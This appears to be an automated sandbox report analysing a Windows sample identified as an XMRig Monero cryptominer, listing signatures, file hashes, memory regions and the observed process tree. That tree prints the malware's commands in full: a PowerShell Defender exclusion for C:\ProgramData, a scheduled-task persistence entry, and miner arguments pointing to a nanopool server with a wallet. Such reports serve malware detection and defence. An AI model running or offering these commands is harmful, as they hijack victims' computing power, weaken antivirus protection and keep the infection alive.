Analysis

  • max time kernel
    138s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/11/2022, 16:55

General

  • Target
    file.exe
  • Size 1.5MB
  • Sample221114-ve41nscf22
  • SHA256 3216a9bbc9446ee5f88a66e042686a5eb6c5d0a8b1dc8c54d8eafa3dfedebbc5
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4660
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4948
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpE68C.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4868
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:368
      • C:\ProgramData\WindowsMail\AVPTQBAEW.exe
        "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3604
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1340
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1948
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
            5⤵
            • Creates scheduled task(s)
            PID:4876
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:1788

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        AVPTQBAEW.exe

        • Path C:\ProgramData\WindowsMail\AVPTQBAEW.exe
        • Size 1.5MB
        • SHA256 3216a9bbc9446ee5f88a66e042686a5eb6c5d0a8b1dc8c54d8eafa3dfedebbc5
        • MD5 SHA1 SHA512 SSDEEP

        AVPTQBAEW.exe

        • Path C:\ProgramData\WindowsMail\AVPTQBAEW.exe
        • Size 1.5MB
        • SHA256 3216a9bbc9446ee5f88a66e042686a5eb6c5d0a8b1dc8c54d8eafa3dfedebbc5
        • MD5 SHA1 SHA512 SSDEEP

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
        • MD5 SHA1 SHA512

        tmpE68C.tmp.bat

        • Path C:\Users\Admin\AppData\Local\Temp\tmpE68C.tmp.bat
        • Size 149B
        • SHA256 bb4a513e76a5bae948b5e480439d7cbf2c1371d69085690adea71ec49e3af17a
        • MD5 SHA1 SHA512

        memory/1340-178-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp

        memory/1788-189-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/1788-190-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/1788-191-0x00000190D5DA0000-0x00000190D5DC0000-memory.dmp

        memory/1788-187-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/1788-192-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/1788-193-0x00000190D5E00000-0x00000190D5E20000-memory.dmp

        memory/1788-194-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/1788-195-0x00000190D5E20000-0x00000190D5E40000-memory.dmp

        memory/1788-196-0x00000190D5E40000-0x00000190D5E60000-memory.dmp

        memory/1788-197-0x00000190D5E20000-0x00000190D5E40000-memory.dmp

        memory/1788-198-0x00000190D5E40000-0x00000190D5E60000-memory.dmp

        memory/3604-182-0x00007FF828D20000-0x00007FF828D8B000-memory.dmp

        memory/3604-186-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp

        memory/3604-185-0x00000000005B0000-0x00000000005F1000-memory.dmp

        memory/3604-184-0x00000000002A0000-0x0000000000480000-memory.dmp

        memory/3604-160-0x00007FF81B6F0000-0x00007FF81B79A000-memory.dmp

        memory/3604-161-0x00007FF828330000-0x00007FF8283CE000-memory.dmp

        memory/3604-162-0x00007FF825610000-0x00007FF825622000-memory.dmp

        memory/3604-163-0x00007FF81B630000-0x00007FF81B6ED000-memory.dmp

        memory/3604-164-0x00007FF829580000-0x00007FF829721000-memory.dmp

        memory/3604-165-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp

        memory/3604-167-0x00007FF8294A0000-0x00007FF8294CB000-memory.dmp

        memory/3604-166-0x00000000002A0000-0x0000000000480000-memory.dmp

        memory/3604-168-0x00000000005B0000-0x00000000005F1000-memory.dmp

        memory/3604-169-0x00000000002A0000-0x0000000000480000-memory.dmp

        memory/3604-170-0x00000000002A0000-0x0000000000480000-memory.dmp

        memory/3604-171-0x00007FF80D610000-0x00007FF80D75E000-memory.dmp

        memory/3604-172-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp

        memory/3604-183-0x00007FF826AC0000-0x00007FF826AFB000-memory.dmp

        memory/3604-181-0x00007FF809990000-0x00007FF809A92000-memory.dmp

        memory/3604-180-0x00007FF80DC30000-0x00007FF80DC65000-memory.dmp

        memory/3604-179-0x00007FF827BA0000-0x00007FF827BC7000-memory.dmp

        memory/4660-145-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp

        memory/4660-139-0x00007FF829580000-0x00007FF829721000-memory.dmp

        memory/4660-134-0x00007FF828330000-0x00007FF8283CE000-memory.dmp

        memory/4660-148-0x0000000000960000-0x0000000000B40000-memory.dmp

        memory/4660-149-0x0000000002700000-0x0000000002741000-memory.dmp

        memory/4660-133-0x00007FF81B6F0000-0x00007FF81B79A000-memory.dmp

        memory/4660-135-0x00007FF825610000-0x00007FF825622000-memory.dmp

        memory/4660-152-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp

        memory/4660-137-0x0000000000960000-0x0000000000B40000-memory.dmp

        memory/4660-143-0x0000000000960000-0x0000000000B40000-memory.dmp

        memory/4660-138-0x0000000002700000-0x0000000002741000-memory.dmp

        memory/4660-144-0x00007FF80D610000-0x00007FF80D75E000-memory.dmp

        memory/4660-136-0x00007FF81B630000-0x00007FF81B6ED000-memory.dmp

        memory/4660-142-0x0000000000960000-0x0000000000B40000-memory.dmp

        memory/4660-141-0x00007FF8294A0000-0x00007FF8294CB000-memory.dmp

        memory/4660-140-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp

        memory/4948-155-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp

        memory/4948-154-0x00007FF80C090000-0x00007FF80CB51000-memory.dmp

        memory/4948-151-0x00000270F20A0000-0x00000270F20C2000-memory.dmp